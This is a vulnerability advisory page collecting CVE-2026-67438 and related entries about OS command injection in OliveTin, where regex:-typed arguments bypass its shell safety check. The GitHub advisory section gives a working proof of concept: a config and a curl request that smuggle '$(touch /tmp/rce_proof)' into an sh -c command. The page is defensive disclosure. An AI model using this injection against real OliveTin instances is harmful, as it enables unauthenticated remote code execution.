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OliveTin OS Command Injection via Custom regex: Argument Type Bypassing Shell Safety Check

CVSS 3.1 6.6 MEDIUMEUVD CVSS 3.1 6.6 CVSS 3.1 · [email protected] · Secondary 6.6 MEDIUMCVSS_V3 Publisher rating MODERATEFixed by github.com/OliveTin/OliveTin 0.0.0-20260708084548-995ff79736f2osv · severity unknownFixed by github.com/OliveTin/OliveTin 0.0.0-20260708084548-995ff79736f2KEV status unknown

cve-program · CVE-2026-67438

Published

OliveTin gives access to predefined shell commands from a web interface. From 3000.2.0 until 3000.17.0, the service/internal/executor/arguments.go checkShellArgumentSafety function does not treat regex: custom argument types as unsafe for Shell mode actions, allowing values that pass typeSafetyCheckRegex to be interpolated by wrapCommandInShell into an sh -c command string and enabling OS command injection. This issue is fixed in version 3000.17.0.

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euvd · EUVD-2026-50564

Published

OliveTin gives access to predefined shell commands from a web interface. From 3000.2.0 until 3000.17.0, the service/internal/executor/arguments.go checkShellArgumentSafety function does not treat regex: custom argument types as unsafe for Shell mode actions, allowing values that pass typeSafetyCheckRegex to be interpolated by wrapCommandInShell into an sh -c command string and enabling OS command injection. This issue is fixed in version 3000.17.0.

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nvd · CVE-2026-67438

Published

OliveTin gives access to predefined shell commands from a web interface. From 3000.2.0 until 3000.17.0, the service/internal/executor/arguments.go checkShellArgumentSafety function does not treat regex: custom argument types as unsafe for Shell mode actions, allowing values that pass typeSafetyCheckRegex to be interpolated by wrapCommandInShell into an sh -c command string and enabling OS command injection. This issue is fixed in version 3000.17.0.

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osv · GHSA-xc5w-4v5w-7x65

Published

### Summary OliveTin's checkShellArgumentSafety() function maintains a blocklist of argument types unsafe for Shell mode actions, but does not include regex:-prefixed types. Because regex: support was added independently via typeSafetyCheckRegex(), any Shell mode action using a regex:-typed argument bypasses the safety check unconditionally. The unvalidated value is then interpolated directly into the sh -c command string via Go's text/template with no escaping, enabling shell injection. Notably, even restrictive-looking patterns are exploitable — for example, a pattern blocking common shell metacharacters remains bypassable via POSIX command substitution. ### Details OliveTin is an open source web UI for running pre-configured shell commands. In the OliveTin service component, the function checkShellArgumentSafety() in service/internal/executor/arguments.go enforces a blocklist of argument types that are unsafe for use in Shell mode actions (actions that execute via sh -c). The blocklist includes password, very_dangerous_raw_string, url, email, and raw_string_multiline. It does not handle custom regex: prefixed argument types. Custom regex: types are supported by a separate function, typeSafetyCheckRegex(), which checks whether a submitted value matches the provided pattern. These two functions evolved independently: when regex: prefix support was added to typeSafetyCheckRegex, checkShellArgumentSafety was not updated to treat regex: types as unsafe for Shell mode. As a result, any action configured with a Shell mode handler and a regex:-typed argument passes the safety check unconditionally, regardless of how permissive or restrictive the pattern is. The argument value then reaches handleShellBranch → wrapCommandInShell, where Go's text/template interpolates it directly into the sh -c command string with no escaping. Critically, this vulnerability is not limited to obviously permissive patterns like regex:.*. An admin who writes a restrictive-looking pattern such as regex: ^[^;|&<>]+$ - explicitly blocking the five most common shell injection characters (semicolon, pipe, ampersand, both redirects) — is still fully exploitable via POSIX command substitution. ### PoC 1. Deploy OliveTin ```bash docker run -d --name olivetin-poc -p 1337:1337 \ -v /tmp/olivetin-poc/config:/config \ ghcr.io/olivetin/olivetin:3000.11.3 ``` 2. Write the configuration below as /tmp/olivetin-poc/config/config.yaml , which represents a realistic admin-authored action: a Shell mode command that accepts user-supplied input validated by a custom regex pattern. ```yaml actions: - title: Custom Input Action id: custom_input shell: echo "Input was {{ .Arguments.customInput }}" arguments: - name: customInput type: "regex:^[^;|&<>]+$" title: Custom Input ``` 3. Trigger RCE via command substitution. ```bash curl -s -X POST http://localhost:1337/api/v1/StartAction \ -H "Content-Type: application/json" \ -d '{"bindingId":"custom_input","arguments":[{"name":"customInput","value":"$(touch /tmp/rce_proof)"}]}' ``` 4. Now verify RCE by checking presence of file ```bash docker exec olivetin-poc ls -la /tmp/rce_proof ``` <img width="1533" height="319" alt="olivetin_proof" src="https://github.com/user-attachments/assets/82c9cc50-8f05-41f8-8cee-bceb3d4b3a2d" /> ### Impact An unauthenticated attacker with network access to an OliveTin instance can achieve full OS command injection - and in practice remote code execution — as the OliveTin process user, provided a Shell mode action exists with any regex:-typed argument whose pattern permits $, backtick, or parentheses.

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osv · GO-2026-6145

Published

OliveTin OS Command Injection via Custom regex: Argument Type Bypassing Shell Safety Check in github.com/OliveTin/OliveTin

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Affected versions, risk and source history

Related advisories and sources

Publishers link these advisories through the identifiers shown below. A shared identifier or date alone does not tell you whether your software is affected or whether the advisories describe the same cause.

CVE-2026-67438 · CVE overview and exploitation status

EUVD-2026-50564

GHSA-xc5w-4v5w-7x65

GO-2026-6145

cve-program · CVE-2026-67438

euvd · EUVD-2026-50564

nvd · CVE-2026-67438

osv · GHSA-xc5w-4v5w-7x65

osv · GO-2026-6145

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